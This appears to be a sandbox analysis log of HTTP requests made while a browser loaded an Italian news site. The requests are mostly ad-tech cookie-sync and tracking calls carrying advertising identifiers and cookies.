Source: global traffic	HTTP traffic detected: GET /usersync/adyoulike/?cb=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DZEMANTA_BANNER%26ttl%3D720%26uid%3Dbdef6bd95b7450b4e62a32db8c7d8c9d%26visitor%3D__ZUID__%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Bidswitch%2Cmartinai%2C4Info%2Cquantcast%2Cadelphic%2Cdynadmic%2Cportodsp%2Cappnexus%2Cbeeswax%2C_dmp_lotame%2Ctremornet%2Cindexexchange%2C_dmp_krux%2Cadtheorent%2CBidTheatre%2C1%2Cgoogle%2Cbucksense%2Cadgear%2CTubeMogul-GP%2Cscaleout%2Cemx%2Cthetradedesk%2Cbeachfront%2Cmadhive%2C_dmp_adobe%2Cstackadapt%2Cacuityads%2CRadiumOne%2Cmediamath%2Cbrightroll%2Cadvangelists%2CTapAd%2Crocketfuel%2C_google_dfp%2Cconversant%2Cdataxu%2Cblis%2Cadform%2CPulsepoint%2Clogicad%2Csimpli.fi%2Cactiveagent%2CVideology%2Cexponential%2Ccentro%2Cdeepintent%2C_dmp_turbine%2Cdemandbase&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&init=true&gdpr=0&gdpr_consent=1 HTTP/1.1Host: partners.tremorhub.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=46&external_user_id=3287041831475129344 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /ng-assets/creative/assets/polyfills-c5be5138.js HTTP/1.1Host: cdn.bidbrain.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qmap?c=1389&tp=STSC&tpid=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%26partner_url%3Dhttps%253A%252F%252Fr.casalemedia.com%252Frum%253Fcm_dsp_id%253D64%2526external_user_id%253D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_dc=0; _cc_id=578c83848f5e56a85ae351fdaf32db39
Source: global traffic	HTTP traffic detected: GET /ups/58294/sync?_origin=1&uid=030a3e80-9d89-08d6-3a80-971e17bad28e HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
Source: global traffic	HTTP traffic detected: GET /ng-assets/creative/assets/index-be69d0ff.js HTTP/1.1Host: cdn.bidbrain.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=ZgUvkQAB4q7dwAA- HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=90&external_user_id=847CD017CFA04EE58AAA8C55A751BC64 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159706&pu=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DPUBMATIC%26ttl%3D720%26uid%3D2fe1084ffe44c28350116ec0a0a1c2d1%26visitor%3D%23PMUID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KTPCACOOKIE=YES; KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; SyncRTB3=1712793600%3A166_13_54_104_3_21_71_220_250%7C1712188800%3A223_15; ipc=159706^https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D%24%7BGDPR%7D%26gdpr_consent%3D%24%7BGDPR_STRING%7D%26uid%3D%23PMUID^2^0; pi=159706:3; chkChromeAb67Sec=2
Source: global traffic	HTTP traffic detected: GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=demandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvrg_61036=1,1711615884; tvv=2
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=3287041831475129344&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KTPCACOOKIE=YES; KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; SyncRTB3=1712793600%3A166_13_54_104_3_21_71_220_250%7C1712188800%3A223_15; ipc=159706^https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D%24%7BGDPR%7D%26gdpr_consent%3D%24%7BGDPR_STRING%7D%26uid%3D%23PMUID^2^0; pi=159706:3; chkChromeAb67Sec=2
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072399&val=3287041831475129344 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
Source: global traffic	HTTP traffic detected: GET /a9b03dc9bdef0bcb818e9c4110ca0368/?uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad HTTP/1.1Host: sync.richaudience.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: checkForPermission=ok
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=562985&ev=1&us_privacy=&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D149%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%25%25VGUID%25%25 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: V=qoRg4ZFEdTZx; pb_rtb_ev=3-1qhf\|7dW.0.1; INGRESSCOOKIE=bfb70d0b24e1067a
Source: global traffic	HTTP traffic detected: GET /ng-assets/creative/assets/index-5ff488ba.css HTTP/1.1Host: cdn.bidbrain.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /match/?int_id=106&redir=1&ot_initiated=1&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/usync/?pubId=7a07370227fc000&gdpr=0&gdpr_consent=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /ht/htw-pixel.gif?ZgUvi9HM46UAADq7ABhzMwAA%262753 HTTP/1.1Host: cdn.indexww.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=45&external_user_id=CAESEDteeIW_CFkcQZAbNNYlZxc&google_cver=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /464246.gif?partner_uid=7808c26f-88a4-04ff-36de-d6e7b982473f HTTP/1.1Host: id.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=E9lxb7YToQPf0UWp1RijnNpoNT4EYab5OBFQvE6+p34=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=&b=1 HTTP/1.1Host: hde.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=Vz/bJWYFL5jMu3Zve5QS2Q==
Source: global traffic	HTTP traffic detected: GET /06_pubmatic.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bf7c142f4339da0278e83698a02b0854/?referrer=[PAGE]&consentString=[GDPR_CONSENT]&r=https%3A%2F%2Fsync.admanmedia.com%2F5adaebfbb9dfe4ba75269cf62a4503e8.gif%3Fpuid%3D[PDID] HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
Source: global traffic	HTTP traffic detected: GET /09_nielsen.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/dds HTTP/1.1Host: rtb.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://google-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7.5\|iKvPvMgakWgy.bwuYhEgKg2f8.wvmmeSwrwI
Source: global traffic	HTTP traffic detected: GET /ids?key=zeotap&value=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&gdpr=0&gdpr_consent=&url=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fwebouuid%3D%7BWEBO_CID%7D%26env%3DmWeb%26zpartnerid%3D431%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1Host: idsync.frontend.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=ZTAP HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=18&expiration=1727513496&external_user_id=0b5b1a55-8255-43a3-bfde-d6fb3db0f96d HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
